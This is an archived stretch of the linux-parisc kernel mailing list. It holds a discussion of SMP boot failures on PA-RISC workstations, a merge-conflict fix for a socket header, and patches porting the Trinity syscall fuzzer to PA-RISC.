	id S1751543Ab3JUUjT (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 21 Oct 2013 16:39:19 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:65462 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751079Ab3JUUjP (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 21 Oct 2013 16:39:15 -0400
Original-Received: from [192.168.178.60] ([84.173.51.174]) by mail.gmx.com (mrgmx001)
 with ESMTPSA (Nemesis) id 0LlUZz-1W6bHK0p31-00bNdG for
 <linux-parisc@vger.kernel.org>; Mon, 21 Oct 2013 22:39:14 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.0
In-Reply-To: <BLU0-SMTP632514F697DEA3A182EE9897010@phx.gbl>
X-Enigmail-Version: 1.5.2
X-Provags-ID: V03:K0:zDQ5EuvrOf+rKs1fwrf9cK0tvGlxhAg9pHi5RxdeJDRTUgfwATD
 RL++GN+TxfgqRTOTXhWoKGUo81yJWxpytw7M4rSSlyzHHb41uW0r33YRW9HLpvzDGNYuvIp
 W02OrOvnMMLm8xJmb8xCQn9mR5AVbE351hLtiJF9OCT4PKIhHCxqLRb37LMov/gcKk5z9BZ
 Q4CLj7PvhehNuNBeHHAEA==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5399
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5399>

On 10/21/2013 10:37 PM, John David Anglin wrote:
> It also likely will boot 32-bit SMP kernel with both CPUs with more than 3 GB memory.  This provides 3.63 GB
> of usable memory.

Sure, it will.
But the idea is to be able to drop the 32bit SMP kernels for Debian...
And those machines are currently the only reason why we can't drop 32bit SMP. 

Helge

> On 10/21/2013 4:07 PM, Helge Deller wrote:
>> Domenico,
>>
>> On 09/04/2013 04:28 PM, Domenico Andreoli wrote:
>>>>>> J5600 is SMP capable in both 32bit and 64bit mode.
>>>>>> mine doesn't boot 64bit SMP since 2.6.22. I've never been able to trace
>>>>>> it down but can confirm it happens also on more recent kernels.
>>>> I confirm that smp parisc64 v3.11 doesn't bring up both the cpus on my
>>>> system but at least it boots one, something that didn't happen in some
>>>> darker moments since 2.6.22.
>>>>
>>>> similar "SMP: CPU:1 is stuck." happens also with debian v3.10-parisc64-smp kernel.
>>> BTW, this is the most detailed investigation I'm aware of:
>>> https://lkml.org/lkml/2008/4/20/251
>> Dave Anglin had the idea that the 64bit SMP CPU#1 stuck problems might be
>> related to PDC- or I/O-space conflicts with physical memory.
>> On Dave Land's machine (J6750) we could verify that off-list.
>>
>> I assume you have more than 3GB (4GB) RAM in your machine?
>> If yes, then if you phyiscally remove some memory so that you leave a max.
>> of 3GB in, the 64bit SMP kernel will most likely boot up all CPUs.
>>
>> You wrote:
>>> mine doesn't boot 64bit SMP since 2.6.22.
>> Are you *really* sure that it booted 64bit SMP with kernel 2.6.22 ?
>> Or did you maybe upgraded memory after that date?
>> If it sucessfully booted, then we maybe have only some kind of regression.
>>
>> Helge

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thierry Reding <thierry.reding@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.network,gmane.linux.kernel.next,gmane.linux.kernel
Subject: linux-next: manual merge of the net-next tree
Date: Tue, 22 Oct 2013 17:10:45 +0200
Lines: 34
Approved: news@gmane.org
Message-ID: <1382454649-16442-1-git-send-email-treding@nvidia.com>
References: <1382369814-7582-1-git-send-email-treding@nvidia.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1382454799 31167 80.91.229.3 (22 Oct 2013 15:13:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 22 Oct 2013 15:13:19 +0000 (UTC)
Cc: linux-next@vger.kernel.org, linux-kernel@vger.kernel.org
To: Eric Dumazet <edumazet@google.com>, Helge Deller <deller@gmx.de>,
	David Miller <davem@davemloft.net>, <netdev@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Oct 22 17:13:22 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VYde5-0001A5-Le
	for glpp-linux-parisc@plane.gmane.org; Tue, 22 Oct 2013 17:13:22 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753739Ab3JVPNU (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 22 Oct 2013 11:13:20 -0400
Original-Received: from mail-bk0-f42.google.com ([209.85.214.42]:47927 "EHLO
	mail-bk0-f42.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751987Ab3JVPNT (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 22 Oct 2013 11:13:19 -0400
Original-Received: by mail-bk0-f42.google.com with SMTP id my10so1389932bkb.29
        for <multiple recipients>; Tue, 22 Oct 2013 08:13:17 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=IInlj9zIBVyQfT5TTYmvY9Wxuk4t/mGsdogRtcmjVMs=;
        b=H3uXTnWhcaSUk14CJhEBV3RJTB7ntIfkwY+EDVosstRVI/G2qyQL046hN+reLJLnSM
         8LZEE3+ghx6EM7s2cnqN8wpIOSBXwtpxFyGM7pv8+shr56dPpSKZuSJ5vGSDVgr+lg1y
         Mrnj6BAV3hytYKa7lrw2xf7/aaqFn1fvlfgh+x5fcI4TZrbLJDpsfcOfgT1HF/aDLoLX
         vCLmgBv/m4wNi5uTn+1kllHcVpUv5A5PIPinnPWiRrhj+UszXYJ6cpEX4KD9rvhODQMC
         6LMqq48apEyzGzVpSBqot947/ztQ374gJs2JvJkUpfoDAe8HPWd7Rwt7qw1STeuLL80W
         bcRw==
X-Received: by 10.204.224.77 with SMTP id in13mr114006bkb.65.1382454797713;
        Tue, 22 Oct 2013 08:13:17 -0700 (PDT)
Original-Received: from localhost (port-28103.pppoe.wtnet.de. [46.59.164.84])
        by mx.google.com with ESMTPSA id w9sm13236456bkn.12.2013.10.22.08.13.16
        for <multiple recipients>
        (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Tue, 22 Oct 2013 08:13:16 -0700 (PDT)
X-Mailer: git-send-email 1.8.4
In-Reply-To: <1382369814-7582-1-git-send-email-treding@nvidia.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5400 gmane.linux.network:288022 gmane.linux.kernel.next:29421 gmane.linux.kernel:1583448
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5400>

Today's linux-next merge of the net-next tree got a conflict in

	arch/parisc/include/uapi/asm/socket.h

caused by commits 62748f3 (net: introduce SO_MAX_PACING_RATE) and 1a0e62d
(parisc: break out SOCK_NONBLOCK define to own asm header file).

I fixed it up (see below). Please verify that the resolution looks good.

Thanks,
Thierry
---
diff --cc arch/parisc/include/uapi/asm/socket.h
index 9f2174f,7c614d0..f33113a
--- a/arch/parisc/include/uapi/asm/socket.h
+++ b/arch/parisc/include/uapi/asm/socket.h
@@@ -75,4 -75,11 +75,6 @@@
  
  #define SO_BUSY_POLL		0x4027
  
+ #define SO_MAX_PACING_RATE	0x4048
+ 
 -/* O_NONBLOCK clashes with the bits used for socket types.  Therefore we
 - * have to define SOCK_NONBLOCK to a different value here.
 - */
 -#define SOCK_NONBLOCK   0x40000000
 -
 -#endif /* _ASM_SOCKET_H */
 +#endif /* _UAPI_ASM_SOCKET_H */
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc,gmane.comp.security.fuzzing.trinity
Subject: Trinity for PA-RISC
Date: Tue, 22 Oct 2013 20:33:20 +0200
Lines: 521
Approved: news@gmane.org
Message-ID: <3514559.IZDIRJtZo8@caliban.sf-tec.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="nextPart14139079.fXXPNjuzId"; micalg="pgp-sha1"; protocol="application/pgp-signature"
X-Trace: ger.gmane.org 1382467215 26670 80.91.229.3 (22 Oct 2013 18:40:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 22 Oct 2013 18:40:15 +0000 (UTC)
Cc: trinity@vger.kernel.org
To: linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Oct 22 20:40:18 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VYgsL-0008C4-11
	for glpp-linux-parisc@plane.gmane.org; Tue, 22 Oct 2013 20:40:17 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754125Ab3JVSkQ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 22 Oct 2013 14:40:16 -0400
Original-Received: from mail.sf-mail.de ([62.27.20.61]:45922 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753077Ab3JVSkP (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 22 Oct 2013 14:40:15 -0400
Original-Received: (qmail 17138 invoked from network); 22 Oct 2013 18:33:31 -0000
Original-Received: from dslb-178-003-068-012.pools.arcor-ip.net ([::ffff:178.3.68.12]:57947 HELO caliban.sf-tec.de) (auth=eike@sf-mail.de)
	by mail.sf-mail.de (Qsmtpd 0.23svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <linux-parisc@vger.kernel.org>; Tue, 22 Oct 2013 20:33:31 +0200
User-Agent: KMail/4.11.2 (Linux/3.11.4-1.g042c434-desktop; KDE/4.11.2; x86_64; ; )
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5401 gmane.comp.security.fuzzing.trinity:654
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5401>


--nextPart14139079.fXXPNjuzId
Content-Type: multipart/mixed; boundary="nextPart2108050.CCuy2rmY5f"
Content-Transfer-Encoding: 7Bit

This is a multi-part message in MIME format.

--nextPart2108050.CCuy2rmY5f
Content-Transfer-Encoding: 7Bit
Content-Type: text/plain; charset="us-ascii"

Hi all,

out of boredom I did the first steps to port trinity to PA-RISC. The second 
patch is needed to get it compile, but since those headers are apparently not 
needed on other archs I suspect something is wrong with the PA-RISC headers. 
The implementation for some syscalls is missing, I just picked up what was 
available by default. Also everything currently is 32 bit. In contrast to what 
other archs do there currently is only a 32 bit userspace on PA-RISC, but 
there are many systems with a 64 bit userspace.

I have the hope that one of the usual suspects would use this to hammer on the 
kernel and fix the fallout. ;)

Eike
--nextPart2108050.CCuy2rmY5f
Content-Disposition: attachment; filename="0001-add-basic-information-for-PA-RISC-architecture.patch"
Content-Transfer-Encoding: 7Bit
Content-Type: text/x-patch; charset="UTF-8"; name="0001-add-basic-information-for-PA-RISC-architecture.patch"

>From 563bbaf50193df24f592f41f0c0306c32d2e457d Mon Sep 17 00:00:00 2001
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Date: Tue, 22 Oct 2013 18:39:48 +0200
Subject: [PATCH 1/2] add basic information for PA-RISC architecture

---
 include/arch-parisc.h     |  22 +++
 include/arch-syscalls.h   |   3 +
 include/arch.h            |   4 +
 include/syscalls-parisc.h | 347 ++++++++++++++++++++++++++++++++++++++++++++++
 4 files changed, 376 insertions(+)
 create mode 100644 include/arch-parisc.h
 create mode 100644 include/syscalls-parisc.h

diff --git a/include/arch-parisc.h b/include/arch-parisc.h
new file mode 100644
index 0000000..757facf
--- /dev/null
+++ b/include/arch-parisc.h
@@ -0,0 +1,22 @@
+// FIXME: depends on kernel bit size, userspace is always 32 bit
+
+#define PAGE_OFFSET 0x10000000
+
+#if 0
+// for 64 bit
+#define PAGE_OFFSET 0x40000000
+#endif
+
+#define KERNEL_ADDR	0xa0000000	// FIXME: Placeholder
+#define MODULE_ADDR     0xa0000000L	// FIXME: Placeholder
+#define TASK_SIZE 0xa0000000	// FIXME: Placeholder
+
+#define PAGE_SHIFT 		12
+#define PTE_FILE_MAX_BITS	(32 - 11)
+
+#define PTRACE_GETREGS		0
+#define PTRACE_GETFPREGS	0
+#define PTRACE_SETREGS		0
+#define PTRACE_SETFPREGS	0
+
+#define SYSCALLS syscalls_parisc
diff --git a/include/arch-syscalls.h b/include/arch-syscalls.h
index b1cf265..22866f5 100644
--- a/include/arch-syscalls.h
+++ b/include/arch-syscalls.h
@@ -38,4 +38,7 @@
 #ifdef __aarch64__
 #include "syscalls-aarch64.h"
 #endif
+#ifdef __hppa__
+#include "syscalls-parisc.h"
+#endif
 #endif  /* _ARCH_SYSCALLS_H */
diff --git a/include/arch.h b/include/arch.h
index 1835204..fe91660 100644
--- a/include/arch.h
+++ b/include/arch.h
@@ -45,6 +45,10 @@
 #include "arch-aarch64.h"
 #endif
 
+#ifdef __hppa__
+#include "arch-parisc.h"
+#endif
+
 #ifndef SYSCALL_OFFSET
 #define SYSCALL_OFFSET 0
 #endif
diff --git a/include/syscalls-parisc.h b/include/syscalls-parisc.h
new file mode 100644
index 0000000..041d11e
--- /dev/null
+++ b/include/syscalls-parisc.h
@@ -0,0 +1,347 @@
+#ifndef _SYSCALLS_PARISC_H
+#define _SYSCALLS_PARISC_H 1
+
+/* Syscalls from arch/parisc/kernel/syscall_table.S as of 3.12-rc6 */
+
+#include "sanitise.h"
+#include "syscall.h"
+#include "syscalls/syscalls.h"
+
+struct syscalltable syscalls_parisc[] = {
+	{ .entry = &syscall_restart_syscall },
+	{ .entry = &syscall_exit },
+	{ .entry = &syscall_fork },	/* FIXME: fork_wrapper */
+	{ .entry = &syscall_read },
+	{ .entry = &syscall_write },
+	{ .entry = &syscall_open },
+	{ .entry = &syscall_close },
+	{ .entry = &syscall_waitpid },
+	{ .entry = &syscall_creat },
+	{ .entry = &syscall_link },
+	{ .entry = &syscall_unlink },
+	{ .entry = &syscall_execve },
+	{ .entry = &syscall_chdir },
+	{ .entry = &syscall_time },
+	{ .entry = &syscall_mknod },
+	{ .entry = &syscall_chmod },
+	{ .entry = &syscall_lchown },
+	{ .entry = &syscall_socket },
+	{ .entry = &syscall_newstat },
+	{ .entry = &syscall_lseek },
+	{ .entry = &syscall_getpid },
+	{ .entry = &syscall_mount },
+	{ .entry = &syscall_bind },
+	{ .entry = &syscall_setuid },
+	{ .entry = &syscall_getuid },
+	{ .entry = &syscall_stime },
+	{ .entry = &syscall_ptrace },
+	{ .entry = &syscall_alarm },
+	{ .entry = &syscall_newfstat },
+	{ .entry = &syscall_pause },
+	{ .entry = &syscall_utime },
+	{ .entry = &syscall_connect },
+	{ .entry = &syscall_listen },
+	{ .entry = &syscall_access },
+	{ .entry = &syscall_nice },
+	{ .entry = &syscall_accept },
+	{ .entry = &syscall_sync },
+	{ .entry = &syscall_kill },
+	{ .entry = &syscall_rename },
+	{ .entry = &syscall_mkdir },
+	{ .entry = &syscall_rmdir },
+	{ .entry = &syscall_dup },
+	{ .entry = &syscall_pipe },
+	{ .entry = &syscall_times },
+	{ .entry = &syscall_getsockname },
+	{ .entry = &syscall_brk },
+	{ .entry = &syscall_setgid },
+	{ .entry = &syscall_getgid },
+	{ .entry = &syscall_signal },
+	{ .entry = &syscall_geteuid },
+	{ .entry = &syscall_getegid },
+	{ .entry = &syscall_acct },
+	{ .entry = &syscall_umount },
+	{ .entry = &syscall_getpeername },
+	{ .entry = &syscall_ioctl },
+	{ .entry = &syscall_fcntl },
+	{ .entry = &syscall_socketpair },
+	{ .entry = &syscall_setpgid },
+	{ .entry = &syscall_send },
+	{ .entry = &syscall_newuname },
+	{ .entry = &syscall_umask },
+	{ .entry = &syscall_chroot },
+	{ .entry = &syscall_ustat },
+	{ .entry = &syscall_dup2 },
+	{ .entry = &syscall_getppid },
+	{ .entry = &syscall_getpgrp },
+	{ .entry = &syscall_setsid },
+	{ .entry = &syscall_pivot_root },
+	{ .entry = &syscall_sgetmask },
+	{ .entry = &syscall_ssetmask },
+	{ .entry = &syscall_setreuid },
+	{ .entry = &syscall_setregid },
+	{ .entry = &syscall_mincore },
+	{ .entry = &syscall_sigpending },
+	{ .entry = &syscall_sethostname },
+	{ .entry = &syscall_setrlimit },
+	{ .entry = &syscall_getrlimit },
+	{ .entry = &syscall_getrusage },
+	{ .entry = &syscall_gettimeofday },
+	{ .entry = &syscall_settimeofday },
+	{ .entry = &syscall_getgroups },
+	{ .entry = &syscall_setgroups },
+	{ .entry = &syscall_sendto },
+	{ .entry = &syscall_symlink },
+	{ .entry = &syscall_newlstat },
+	{ .entry = &syscall_readlink },
+	{ .entry = &syscall_ni_syscall },	/* was uselib */
+	{ .entry = &syscall_swapon },
+	{ .entry = &syscall_reboot },
+	{ .entry = &syscall_mmap2 },
+	{ .entry = &syscall_mmap },
+	{ .entry = &syscall_munmap },
+	{ .entry = &syscall_truncate },
+	{ .entry = &syscall_ftruncate },
+	{ .entry = &syscall_fchmod },
+	{ .entry = &syscall_fchown },
+	{ .entry = &syscall_getpriority },
+	{ .entry = &syscall_setpriority },
+	{ .entry = &syscall_recv },
+	{ .entry = &syscall_statfs },
+	{ .entry = &syscall_fstatfs },
+	{ .entry = &syscall_stat64 },
+	{ .entry = &syscall_ni_syscall },	/* was socketcall */
+	{ .entry = &syscall_syslog },
+	{ .entry = &syscall_setitimer },
+	{ .entry = &syscall_getitimer },
+	{ .entry = &syscall_capget },
+	{ .entry = &syscall_capset },
+	{ .entry = &syscall_pread64 },
+	{ .entry = &syscall_pwrite64 },
+	{ .entry = &syscall_getcwd },
+	{ .entry = &syscall_vhangup },
+	{ .entry = &syscall_fstat64 },
+	{ .entry = &syscall_vfork },
+	{ .entry = &syscall_wait4 },
+	{ .entry = &syscall_swapoff },
+	{ .entry = &syscall_sysinfo },
+	{ .entry = &syscall_shutdown },
+	{ .entry = &syscall_fsync },
+	{ .entry = &syscall_madvise },
+	{ .entry = &syscall_clone },
+	{ .entry = &syscall_setdomainname },
+	{ .entry = &syscall_sendfile },
+	{ .entry = &syscall_recvfrom },
+	{ .entry = &syscall_adjtimex },
+	{ .entry = &syscall_mprotect },
+	{ .entry = &syscall_sigprocmask },
+	{ .entry = &syscall_ni_syscall },	/* obsolete "create_module" syscall */
+	{ .entry = &syscall_init_module },
+	{ .entry = &syscall_delete_module },
+	{ .entry = &syscall_ni_syscall },	/* was get_kernel_syms */
+	{ .entry = &syscall_quotactl },
+	{ .entry = &syscall_getpgid },
+	{ .entry = &syscall_fchdir },
+	{ .entry = &syscall_bdflush },
+	{ .entry = &syscall_sysfs },
+	{ .entry = &syscall_personality },
+	{ .entry = &syscall_ni_syscall },	/* obsolete "afs" syscall */
+	{ .entry = &syscall_setfsuid },
+	{ .entry = &syscall_setfsgid },
+	{ .entry = &syscall_llseek },
+	{ .entry = &syscall_getdents },
+	{ .entry = &syscall_select },
+	{ .entry = &syscall_flock },
+	{ .entry = &syscall_msync },
+	{ .entry = &syscall_readv },
+	{ .entry = &syscall_writev },
+	{ .entry = &syscall_getsid },
+	{ .entry = &syscall_fdatasync },
+	{ .entry = &syscall_sysctl },
+	{ .entry = &syscall_mlock },
+	{ .entry = &syscall_munlock },
+	{ .entry = &syscall_mlockall },
+	{ .entry = &syscall_munlockall },
+	{ .entry = &syscall_sched_setparam },
+	{ .entry = &syscall_sched_getparam },
+	{ .entry = &syscall_sched_setscheduler },
+	{ .entry = &syscall_sched_getscheduler },
+	{ .entry = &syscall_sched_yield },
+	{ .entry = &syscall_sched_get_priority_max },
+	{ .entry = &syscall_sched_get_priority_min },
+	{ .entry = &syscall_sched_rr_get_interval },
+	{ .entry = &syscall_nanosleep },
+	{ .entry = &syscall_mremap },
+	{ .entry = &syscall_setresuid },
+	{ .entry = &syscall_getresuid },
+	{ .entry = &syscall_sigaltstack },
+	{ .entry = &syscall_ni_syscall },	/* obsolete "query_module" syscall */
+	{ .entry = &syscall_poll },
+	{ .entry = &syscall_ni_syscall },	/* was nfsserverctl */
+	{ .entry = &syscall_setresgid },
+	{ .entry = &syscall_getresgid },
+	{ .entry = &syscall_prctl },
+	{ .entry = &syscall_rt_sigreturn },
+	{ .entry = &syscall_rt_sigaction },
+	{ .entry = &syscall_rt_sigprocmask },
+	{ .entry = &syscall_rt_sigpending },
+	{ .entry = &syscall_rt_sigtimedwait },
+	{ .entry = &syscall_rt_sigqueueinfo },
+	{ .entry = &syscall_rt_sigsuspend },
+	{ .entry = &syscall_chown },
+	{ .entry = &syscall_setsockopt },
+	{ .entry = &syscall_getsockopt },
+	{ .entry = &syscall_sendmsg },
+	{ .entry = &syscall_recvmsg },
+	{ .entry = &syscall_semop },
+	{ .entry = &syscall_semget },
+	{ .entry = &syscall_semctl },
+	{ .entry = &syscall_msgsnd },
+	{ .entry = &syscall_msgrcv },
+	{ .entry = &syscall_msgget },
+	{ .entry = &syscall_msgctl },
+	{ .entry = &syscall_shmat },
+	{ .entry = &syscall_shmdt },
+	{ .entry = &syscall_shmget },
+	{ .entry = &syscall_shmctl },
+	{ .entry = &syscall_ni_syscall },	/* streams1 */
+	{ .entry = &syscall_ni_syscall },	/* streams2 */
+	{ .entry = &syscall_lstat64 },
+	{ .entry = &syscall_truncate64 },
+	{ .entry = &syscall_ftruncate64 },
+	{ .entry = &syscall_getdents64 },
+	{ .entry = &syscall_ni_syscall },	// FIXME: fcntl64
+	{ .entry = &syscall_ni_syscall },	/* obsolete "attrctl" syscall */
+	{ .entry = &syscall_ni_syscall },	/* obsolete "acl_get" syscall */
+	{ .entry = &syscall_ni_syscall },	/* obsolete "acl_set" syscall */
+	{ .entry = &syscall_gettid },
+	{ .entry = &syscall_readahead },
+	{ .entry = &syscall_tkill },
+	{ .entry = &syscall_sendfile64 },
+	{ .entry = &syscall_futex },
+	{ .entry = &syscall_sched_setaffinity },
+	{ .entry = &syscall_sched_getaffinity },
+	{ .entry = &syscall_ni_syscall },	/* set_thread_area */
+	{ .entry = &syscall_ni_syscall },	/* get_thread_area */
+	{ .entry = &syscall_io_setup },
+	{ .entry = &syscall_io_destroy },
+	{ .entry = &syscall_io_getevents },
+	{ .entry = &syscall_io_submit },
+	{ .entry = &syscall_io_cancel },
+	{ .entry = &syscall_ni_syscall },	/* FIXME alloc_hugepages */
+	{ .entry = &syscall_ni_syscall },	/* FIXME free_hugepages */
+	{ .entry = &syscall_exit_group },
+	{ .entry = &syscall_lookup_dcookie },
+	{ .entry = &syscall_epoll_create },
+	{ .entry = &syscall_epoll_ctl },
+	{ .entry = &syscall_epoll_wait },
+	{ .entry = &syscall_remap_file_pages },
+	{ .entry = &syscall_semtimedop },
+	{ .entry = &syscall_mq_open },
+	{ .entry = &syscall_mq_unlink },
+	{ .entry = &syscall_mq_timedsend },
+	{ .entry = &syscall_mq_timedreceive },
+	{ .entry = &syscall_mq_notify },
+	{ .entry = &syscall_mq_getsetattr },
+	{ .entry = &syscall_waitid },
+	{ .entry = &syscall_fadvise64_64 },
+	{ .entry = &syscall_set_tid_address },
+	{ .entry = &syscall_setxattr },
+	{ .entry = &syscall_lsetxattr },
+	{ .entry = &syscall_fsetxattr },
+	{ .entry = &syscall_getxattr },
+	{ .entry = &syscall_lgetxattr },
+	{ .entry = &syscall_fgetxattr },
+	{ .entry = &syscall_listxattr },
+	{ .entry = &syscall_llistxattr },
+	{ .entry = &syscall_flistxattr },
+	{ .entry = &syscall_removexattr },
+	{ .entry = &syscall_lremovexattr },
+	{ .entry = &syscall_fremovexattr },
+	{ .entry = &syscall_timer_create },
+	{ .entry = &syscall_timer_settime },
+	{ .entry = &syscall_timer_gettime },
+	{ .entry = &syscall_timer_getoverrun },
+	{ .entry = &syscall_timer_delete },
+	{ .entry = &syscall_clock_settime },
+	{ .entry = &syscall_clock_gettime },
+	{ .entry = &syscall_clock_getres },
+	{ .entry = &syscall_clock_nanosleep },
+	{ .entry = &syscall_tgkill },
+	{ .entry = &syscall_mbind },
+	{ .entry = &syscall_get_mempolicy },
+	{ .entry = &syscall_set_mempolicy },
+	{ .entry = &syscall_ni_syscall },	/* obsolete "vserver" syscall */
+	{ .entry = &syscall_add_key },
+	{ .entry = &syscall_request_key },
+	{ .entry = &syscall_keyctl },
+	{ .entry = &syscall_ioprio_set },
+	{ .entry = &syscall_ioprio_get },
+	{ .entry = &syscall_inotify_init },
+	{ .entry = &syscall_inotify_add_watch },
+	{ .entry = &syscall_inotify_rm_watch },
+	{ .entry = &syscall_migrate_pages },
+	{ .entry = &syscall_pselect6 },
+	{ .entry = &syscall_ppoll },
+	{ .entry = &syscall_openat },
+	{ .entry = &syscall_mkdirat },
+	{ .entry = &syscall_mknodat },
+	{ .entry = &syscall_fchownat },
+	{ .entry = &syscall_futimesat },
+	{ .entry = &syscall_fstatat64 },
+	{ .entry = &syscall_unlinkat },
+	{ .entry = &syscall_renameat },
+	{ .entry = &syscall_linkat },
+	{ .entry = &syscall_symlinkat },
+	{ .entry = &syscall_readlinkat },
+	{ .entry = &syscall_fchmodat },
+	{ .entry = &syscall_faccessat },
+	{ .entry = &syscall_unshare },
+	{ .entry = &syscall_set_robust_list },
+	{ .entry = &syscall_get_robust_list },
+	{ .entry = &syscall_splice },
+	{ .entry = &syscall_sync_file_range },
+	{ .entry = &syscall_tee },
+	{ .entry = &syscall_vmsplice },
+	{ .entry = &syscall_move_pages },
+	{ .entry = &syscall_getcpu },
+	{ .entry = &syscall_epoll_pwait },
+	{ .entry = &syscall_statfs64 },
+	{ .entry = &syscall_fstatfs64 },
+	{ .entry = &syscall_kexec_load },
+	{ .entry = &syscall_utimensat },
+	{ .entry = &syscall_signalfd },
+	{ .entry = &syscall_ni_syscall },	/* was timerfd */
+	{ .entry = &syscall_eventfd },
+	{ .entry = &syscall_fallocate },
+	{ .entry = &syscall_timerfd_create },
+	{ .entry = &syscall_timerfd_settime },
+	{ .entry = &syscall_timerfd_gettime },
+	{ .entry = &syscall_signalfd4 },
+	{ .entry = &syscall_eventfd2 },
+	{ .entry = &syscall_epoll_create1 },
+	{ .entry = &syscall_dup3 },
+	{ .entry = &syscall_pipe2 },
+	{ .entry = &syscall_inotify_init1 },
+	{ .entry = &syscall_preadv },
+	{ .entry = &syscall_pwritev },
+	{ .entry = &syscall_rt_tgsigqueueinfo },
+	{ .entry = &syscall_perf_event_open },
+	{ .entry = &syscall_recvmmsg },
+	{ .entry = &syscall_accept4 },
+	{ .entry = &syscall_prlimit64 },
+	{ .entry = &syscall_fanotify_init },
+	{ .entry = &syscall_fanotify_mark },
+	{ .entry = &syscall_clock_adjtime },
+	{ .entry = &syscall_name_to_handle_at },
+	{ .entry = &syscall_open_by_handle_at },
+	{ .entry = &syscall_syncfs },
+	{ .entry = &syscall_setns },
+	{ .entry = &syscall_sendmmsg },	/* obsolete "putpmsg" syscall */
+	{ .entry = &syscall_process_vm_readv },
+	{ .entry = &syscall_process_vm_writev },
+	{ .entry = &syscall_kcmp },
+	{ .entry = &syscall_finit_module },
+};
+
+#endif	/* _SYSCALLS_PARISC_H */
-- 
1.8.3.2


--nextPart2108050.CCuy2rmY5f
Content-Disposition: attachment; filename="0002-add-more-headers-to-fix-compile-on-PA-RISC.patch"
Content-Transfer-Encoding: 7Bit
Content-Type: text/x-patch; charset="UTF-8"; name="0002-add-more-headers-to-fix-compile-on-PA-RISC.patch"

>From 3bb732227732e7577fe3e7c37a46eb05bea63cdc Mon Sep 17 00:00:00 2001
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Date: Tue, 22 Oct 2013 18:42:32 +0200
Subject: [PATCH 2/2] add more headers to fix compile on PA-RISC

---
 syscalls/msgrcv.c | 1 +
 syscalls/msgsnd.c | 1 +
 2 files changed, 2 insertions(+)

diff --git a/syscalls/msgrcv.c b/syscalls/msgrcv.c
index 2200472..5585b99 100644
--- a/syscalls/msgrcv.c
+++ b/syscalls/msgrcv.c
@@ -1,6 +1,7 @@
 /*
  * SYSCALL_DEFINE5(msgrcv, int, msqid, struct msgbuf __user *, msgp, size_t, msgsz, long, msgtyp, int, msgflg)
  */
+#include <sys/types.h>
 #include <linux/msg.h>
 #include "compat.h"
